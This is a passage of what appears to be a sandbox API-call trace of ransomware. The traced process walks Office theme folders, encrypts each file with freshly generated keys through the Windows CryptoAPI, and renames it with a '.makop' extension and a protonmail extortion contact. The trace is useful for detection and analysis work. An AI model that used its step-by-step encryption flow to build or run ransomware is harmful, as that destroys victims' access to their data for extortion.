dwBufLen=0x4170 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4170) returned 1 [0098.978] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.978] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4170, lpOverlapped=0x0) returned 1 [0098.979] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.979] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.979] SetEndOfFile (hFile=0x138) returned 1 [0098.987] GetProcessHeap () returned 0x48a0000 [0098.987] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.987] GetProcessHeap () returned 0x48a0000 [0098.987] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.987] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0098.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.988] CloseHandle (hObject=0x138) returned 1 [0098.988] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0098.989] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0098.989] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0098.989] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD") returned 60 [0098.989] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*") returned 64 [0098.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0098.989] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.990] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0098.990] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0098.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.990] GetProcessHeap () returned 0x48a0000 [0098.991] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.991] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.991] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.991] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0098.997] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.997] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.997] GetProcessHeap () returned 0x48a0000 [0098.997] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.997] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.998] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.998] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.998] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.998] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.998] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.998] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.999] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.999] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.999] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.999] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.999] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x59f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x59f, lpOverlapped=0x0) returned 1 [0098.999] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x5a0) returned 1 [0098.999] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.000] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x5a0, lpOverlapped=0x0) returned 1 [0099.000] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.000] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.000] SetEndOfFile (hFile=0x138) returned 1 [0099.007] GetProcessHeap () returned 0x48a0000 [0099.007] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.007] GetProcessHeap () returned 0x48a0000 [0099.007] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.007] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0099.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.008] CloseHandle (hObject=0x138) returned 1 [0099.008] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0099.008] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM") returned 69 [0099.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.011] GetProcessHeap () returned 0x48a0000 [0099.011] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.012] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.012] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.012] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0099.016] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.016] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.016] GetProcessHeap () returned 0x48a0000 [0099.016] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.016] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.016] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.016] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.017] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.017] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.017] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.017] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.018] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.018] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.018] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.018] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.018] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbba7, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xbba7, lpOverlapped=0x0) returned 1 [0099.020] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xbbb0, dwBufLen=0xbbb0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xbbb0) returned 1 [0099.021] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.021] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbbb0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xbbb0, lpOverlapped=0x0) returned 1 [0099.022] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.022] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xbc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.022] SetEndOfFile (hFile=0x138) returned 1 [0099.030] GetProcessHeap () returned 0x48a0000 [0099.030] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0099.030] GetProcessHeap () returned 0x48a0000 [0099.030] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.031] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0099.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.036] CloseHandle (hObject=0x138) returned 1 [0099.036] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0099.036] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF") returned 69 [0099.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.038] GetProcessHeap () returned 0x48a0000 [0099.038] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.038] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.038] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.039] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.043] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.043] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.043] GetProcessHeap () returned 0x48a0000 [0099.043] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.043] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.043] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.043] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.043] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.043] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.044] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.044] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.044] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.044] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.044] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.044] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.044] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x258, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x258, lpOverlapped=0x0) returned 1 [0099.045] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x260, dwBufLen=0x260 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x260) returned 1 [0099.045] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.045] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x260, lpOverlapped=0x0) returned 1 [0099.045] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.045] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.045] SetEndOfFile (hFile=0x138) returned 1 [0099.051] GetProcessHeap () returned 0x48a0000 [0099.052] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0099.052] GetProcessHeap () returned 0x48a0000 [0099.052] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.052] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0099.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.053] CloseHandle (hObject=0x138) returned 1 [0099.053] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0099.053] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0099.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.054] GetProcessHeap () returned 0x48a0000 [0099.054] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.054] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.054] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.054] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 